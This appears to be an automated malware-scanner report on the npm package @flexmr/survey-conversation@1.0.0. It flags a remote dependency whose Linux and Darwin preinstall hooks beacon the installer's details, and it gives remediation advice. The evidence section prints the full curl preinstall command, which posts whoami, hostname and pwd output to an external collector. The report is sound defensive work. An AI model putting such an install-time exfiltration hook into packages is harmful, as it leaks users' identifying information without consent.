@flexmr/survey-conversation@1.0.0
Generated package
AI Security Review
scanned 7d ago · by lpm-firewall-aiThe package’s declared dependency has platform-specific preinstall hooks that automatically disclose identifying environment details to an external endpoint. This unconsented installation beacon supports blocking publication.
Static reason
No blocking static signals were detected.
Trigger
Installing the package on Linux or Darwin runs the dependency’s preinstall hook.
Impact
The collector receives identifying installation environment details.
Mechanism
The hook posts the installer’s user name, host name, and current directory to the collector.
Attack narrative
The package installs a remote dependency whose Linux and Darwin snapshots define preinstall commands that send user, host, and working-directory details to an external collector. The package manifest makes this dependency part of installation, and the inspected commands show no consent guard.
AI rationale
The package’s declared dependency has platform-specific preinstall hooks that automatically disclose identifying environment details to an external endpoint. This unconsented installation beacon supports blocking publication.
Evidence
package.json.lpm-dependency-evidence-d26c4764-6bf2-4519-846d-99fc72d32f86/0/npm-linux/package.json.lpm-dependency-evidence-d26c4764-6bf2-4519-846d-99fc72d32f86/0/npm-darwin/package.json
Network endpoints1
artifacts.creditslib.com/api/pings
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- The package declares the remote dependency, making its install lifecycle part of this package’s installation path.
- The Linux dependency snapshot runs a preinstall command that posts the installer’s user name, host name, and current directory to an external endpoint.
- The Darwin dependency snapshot has the same preinstall disclosure behavior.
Evidence against
Behavioral surface
Trivial
Source & flagged code
3 flagged · loading sourcepackage.jsonView file
13"cache-format-syntax-tracer": "https://artifacts.creditslib.com/npm/cache-format-syntax-tracer"
}
}
High
Suspicious Lifecycle Evidence
The package declares the remote dependency, making its install lifecycle part of this package’s installation path.
package.jsonView on unpkg · L13.lpm-dependency-evidence-d26c4764-6bf2-4519-846d-99fc72d32f86/0/npm-linux/package.jsonView file
13"preinstall": "curl -X POST -H 'Content-Type: application/json' https://artifacts.creditslib.com/api/pings --data '{\"event_id\":\"1698a23c-bf08-41b8-8164-9c504c1226a4\", \"source_type\":\"http\", \"package\":\"@flexmr/survey-conversation\",\"details\":{\"whoami\":\"'$(whoami)'\", \"hostname\":\"'$(hostname)'\", \"pwd\":\"'$(pwd)'\"}}'"
}
}
High
Suspicious Dependency Evidence
The Linux dependency snapshot runs a preinstall command that posts the installer’s user name, host name, and current directory to an external endpoint.
.lpm-dependency-evidence-d26c4764-6bf2-4519-846d-99fc72d32f86/0/npm-linux/package.jsonView on unpkg · L13Findings
3 High
HighSuspicious Lifecycle Evidencepackage.json
HighSuspicious Dependency Evidence.lpm-dependency-evidence-d26c4764-6bf2-4519-846d-99fc72d32f86/0/npm-linux/package.json
HighSuspicious Dependency Evidence.lpm-dependency-evidence-d26c4764-6bf2-4519-846d-99fc72d32f86/0/npm-darwin/package.json
Affected versions and remediation
This report applies to @flexmr/survey-conversation@1.0.0.
See all versions of @flexmr/survey-conversation for other recorded verdicts.
- Avoid installing @flexmr/survey-conversation@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.